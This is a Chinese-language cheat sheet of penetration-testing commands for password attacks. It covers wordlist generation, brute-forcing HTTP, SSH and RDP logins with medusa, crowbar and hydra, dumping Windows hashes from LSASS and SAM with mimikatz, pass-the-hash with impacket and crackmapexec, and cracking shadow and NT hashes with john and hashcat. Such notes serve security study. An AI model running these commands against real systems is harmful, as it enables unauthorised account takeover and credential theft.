常见的信息收集手段
1. 字典攻击
2. 提取密码HASH(明文、PtH碰撞)
3. 信息收集
字典攻击
KaliLinux中包含着密码字典
/usr/share/wordlists
/usr/share/seclist
专属字典生成
cewl <URL/FILE> [-m {NUM}最小长度] [-w {OUTPUT}输出文件]
#从指定URL/FILE生成字典
john [--wordlist={DIRCTY}待变形字典] --rules [--stdout {OUTPUT}输出文件]
#字典变形
暴力破解
crunch 8 8 -t ,@@^^@@@
#掩码生成8位密码,分别是1大写2小写2符号3数字
Medusa
medusa -d
#支持的模块
medusa -M http -q
#模块的参数和使用方法
medusa -h <HOST> -u <USER> -P rockyou.txt -M http -m DIR:/admin
#HTTP协议爆破示例
Crowbar
SSH公钥认证和RDP密码破解
apt install crowbar
#APT安装
crowbar -b rdp -s 192.168.1.0/24 -u <USERNAME> -C rockyou.txt -n 1
#以RDP协议,以admin位用户名,单线程破解192.168.1.0网段的密码
Hydra
和Medusa类似
hydra -l <USERNAME> -p rockyou.txt ssh://<HOST>
#爆破SSH密码
hydra <HOST> http-form-post '/from/index.php:user=<USERNAME>&pass=^PASS^:INVALID LOGIN" -l <USERNAME> -P rockyou.txt -vV -f
#INVALID LOGIN为判断条件字符串,判断是否成功
哈希攻击
将任意长度的内容通过哈希变成长度固定的指纹,理论上无逆向可能,但可以通过明文,PtH碰撞等方式进行哈希攻击
Linux
Openwall-HASH类型检测
也可以通过Hashid识别
hashid <HASH>
一般来说有如下构成如下
1.
“`$6“`使用SHA-512
其中1为MD5,5为SHA-256
可以指定数字生成对应的密钥
openssl passwd -NUM <PASS>
- “`$Rw99zZ2B“`加盐
Windows
Windows的密码存储在SAM文件中
由于Windows内核独占锁定SAM数据库,在运行过程中无法拷贝SAM文件
但是可以通过mimikatz进行dump hash,提取本地安全机构子系统(LSASS,SYSTEM用户运行的权限进程)进程内存中缓存的密码哈希(需要管理员权限)
minikatz.exe
#进入minikatz
privikege::debug
#进入debug模式,可以修改其他进程
sekurlsa::logonpasswords
#读取内存中hash
token::elevate
#从高完整性提升到SYSTEM完成性
lsadump::sam
#dump sam数据库
通过PtH(Pass the HASH)攻击NTLM哈希值
中间人抓取并重放HASH
pth-winexe -U <username>%<LM>:<NTLM> //<HOST> cmd
#老版本windows
crackmapexec smb -u <USER> -h <HASH> -d . -x "CMD" <HOST>
impacket-wmiexec <USER>@<HOST> -hashes 00000000000000000000000000000000:<HASH>
暴力破解
Windows
由于Windows的哈希是不加盐的,所以可以通过爆破找出原文
vi hash.txt
#可同时爆破多个hash
john hash.txt --format=NT
john --wordlist=rockyou.txt hash.txt --format=NT
john --rules --wordlist=rockyou.txt hash.txt --format=NT
Linux
unshadow /etc/passwd /etc/shadow > unshadowed.txt
#生成破解文件
john --rules --wordlist=rockyou.txt unshadowed.txt
#John多节点分布式密码破解(CPU)
--fork 8 --node=1-8/16
--fork 8 --node=9-16/16
#以八进程运行,将字典分割为16个部分,分别用两个节点计算1-8/9-16的两部分
hashcat64.exe -b #测速
#HASHCAT支持调用显卡(CPU+GPU)
hashcat -m 1000 -a 0 hash.txt rockyou.txt
#爆破NT(1000),以字典方式(0)